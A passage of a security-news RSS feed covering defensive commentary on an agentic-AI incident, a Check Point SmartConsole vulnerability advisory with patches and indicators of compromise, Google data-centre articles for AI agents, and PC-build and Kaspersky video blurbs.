machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
<br />
#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild]]></title>
<description><![CDATA[OverviewOn July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as impr...]]></description>
<link>https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/</guid>
<pubDate>Thu, 23 Jul 2026 14:42:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 22, 2026, Check Point </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>published a security advisory</span></a><span> for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-16232/"><span>CVE-2026-16232</span></a><span>, an authentication bypass in the SmartConsole login process classified as improper authentication (</span><a href="https://cwe.mitre.org/data/definitions/287.html"><span>CWE-287</span></a><span>). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.</span></p><p><span>Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232"><span>added</span></a><span> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.</span></p><p><span>The advisory addresses three vulnerabilities in total:</span></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><thead><tr><th><p><span><strong>CVE</strong></span></p></th><th><p><span><strong>CVSS</strong></span></p></th><th><p><span><strong>Description</strong></span></p></th><th><p><span><strong>Affected Products</strong></span></p></th><th><p><span><strong>Exploitation Status</strong></span></p></th></tr></thead><tbody><tr><td><p><span>CVE-2026-16232</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Authentication bypass via SmartConsole application token</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>Exploited in the wild</span></p></td></tr><tr><td><p><span>CVE-2026-62144</span></p></td><td><p><span>Vendor: 9.3 (Critical)</span><br><span>CISA: 9.1 (Critical)</span></p></td><td><p><span>Management authentication bypass and privilege escalation</span></p></td><td><p><span>Security Management, Multi-Domain Management</span></p></td><td><p><span>No known exploitation</span></p></td></tr><tr><td><p><span>CVE-2026-62145</span></p></td><td><p><span>7.5 (High)</span></p></td><td><p><span>Local privilege escalation in GaiaOS WebUI</span></p></td><td><p><span>Firewall, Multi-Domain Management, Multi-Domain Log Server</span></p></td><td><p><span>No known exploitation</span></p></td></tr></tbody></table><p></p><p><span>Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's </span><a href="https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/"><span>advisory</span></a><span>, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.</span></p><p><span>Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-50751/"><span>CVE-2026-50751</span></a><span>, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, </span><a href="https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/"><span>CVE-2024-24919</span></a><span>, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.</span></p><h2>Mitigation guidance</h2><p><span>Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.</span></p><p><span>The following versions are affected by CVE-2026-16232:</span></p><ul><li><p><span>R82.10</span><span>: fixed in Jumbo Hotfix Take 36 and later</span></p></li><li><p><span>R82</span><span>: fixed in Jumbo Hotfix Take 118 and later</span></p></li><li><p><span>R81.20</span><span>: fixed in Jumbo Hotfix Take 158 and later</span></p></li><li><p><span>R81.10</span><span>, </span><span>R81</span><span>, </span><span>R80.30</span><span>, </span><span>R80.20</span><span>, </span><span>R80.10</span><span>, </span><span>R80</span><span>, and </span><span>R77.30</span><span>: no fix specified</span></p></li></ul><p></p><p><span>CVE-2026-62144 and CVE-2026-62145 affect the same release families (</span><span>R81.10</span><span>, </span><span>R81.20</span><span>, </span><span>R82</span><span>, </span><span>R82.10</span><span>) per the vendor advisory, with older versions also impacted.</span></p><p><span>Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:</span></p><ul><li><p><span>Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets</span></p></li><li><p><span>Protect Management access with a firewall and restrict access to trusted IP addresses</span></p></li><li><p><span>Verify that implied rules for control connections are enabled</span></p></li></ul><p><span>These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.</span></p><p><span>Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.</span></p><p><span>For the latest mitigation guidance, please refer to the vendor </span><a href="https://support.checkpoint.com/results/sk/sk185169"><span>advisory</span></a><span>.</span></p><h2>Rapid7 customers</h2><h3><span>Exposure Command, InsightVM, and Nexpose</span></h3><p><span>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.</span></p><h2>Indicators of compromise</h2><p><span>Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:</span></p><ul><li><p><span>151.241.99[.]207</span></p></li><li><p><span>151.241.99[.]233</span></p></li><li><p><span>158.62.198[.]182</span></p></li><li><p><span>192.142.10[.]99</span></p></li><li><p><span>139.28.37[.]250</span></p></li><li><p><span>194.213.18[.]137</span></p></li></ul><p></p><p><span>Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h2>Updates</h2><ul><li><p><span><strong>July 23, 2026</strong></span><span>: Initial publication.</span></p></li></ul>]]></content:encoded>
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<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
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<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: protecting data, building trust]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 2x - Views:4 Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsi...]]></description>
<link>https://tsecurity.de/de/3688971/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-protecting-data-building-trust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688971/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-protecting-data-building-trust/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:55 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 2x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/kzfK4yVPNj4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Data security is a core part of how Kaspersky protects its products and users. In this video we talk about our approach to protecting data, the measures behind it and why continuous improvement matters. Watch to learn how we build trust through responsibility and resilience. <br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
 <br />
#kaspersky #esg #sustainability #cybersecurity<br/></p>]]></content:encoded>
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<title><![CDATA[Google CEO Pichai says Gemini's next leap depends on building "much larger base models"]]></title>
<description><![CDATA[Alphabet has raised its 2026 investment forecast to as much as $205 billion, saying demand continues to outpace spending. Google Cloud grew 82 percent in the second quarter. CEO Sundar Pichai says Google needs a larger base model for its next leap in AI and has kicked off an ambitious Gemini 4 tr...]]></description>
